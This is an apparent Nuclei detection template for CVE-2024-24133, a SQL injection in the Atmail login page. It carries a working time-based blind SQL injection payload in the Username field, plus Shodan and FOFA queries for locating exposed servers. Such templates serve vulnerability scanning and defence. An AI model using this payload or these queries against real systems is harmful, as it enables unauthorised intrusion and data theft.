CVE-2024-24133.yaml

id: CVE-2024-24133

info:
  name: SQL Injection in Atmail 6.6.0
  author: ProjectDiscoveryAI
  severity: critical
  description: Atmail v6.6.0 was discovered to contain a SQL injection vulnerability via the username parameter on the login page.
  impact: |
    Allows attackers to execute arbitrary SQL queries, potentially leading to data leakage or data manipulation.
  remediation: |
    Upgrade Atmail to a patched version or apply vendor-supplied security patches.
  reference:
    - https://github.com/Hebing123/cve/issues/16
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24133
    cwe-id: CWE-89
    epss-score: 0.00076
    epss-percentile: 0.34586
    cpe: cpe:2.3:a:atmail:atmail:6.3.0:*:*:*:*:*:*:*
  metadata:
    vendor: atmail
    product: atmail
    shodan-query: http.html:"atmail"
    fofa-query:
      - body="atmail"
      - body="powered by atmail"

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php/admin/index/login"

    headers:
      Content-Type: application/x-www-form-urlencoded
      X-Requested-With: XMLHttpRequest
      Referer: "{{BaseURL}}"
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Encoding: gzip,deflate,br
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
      Host: "{{Hostname}}"
      Connection: Keep-alive

    body: |
      Language=ca&Password=1&Username=admin'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z&login=1&send=1&server={{BaseURL}}
    matchers:
      - type: dsl
        dsl:
          - "duration>=6"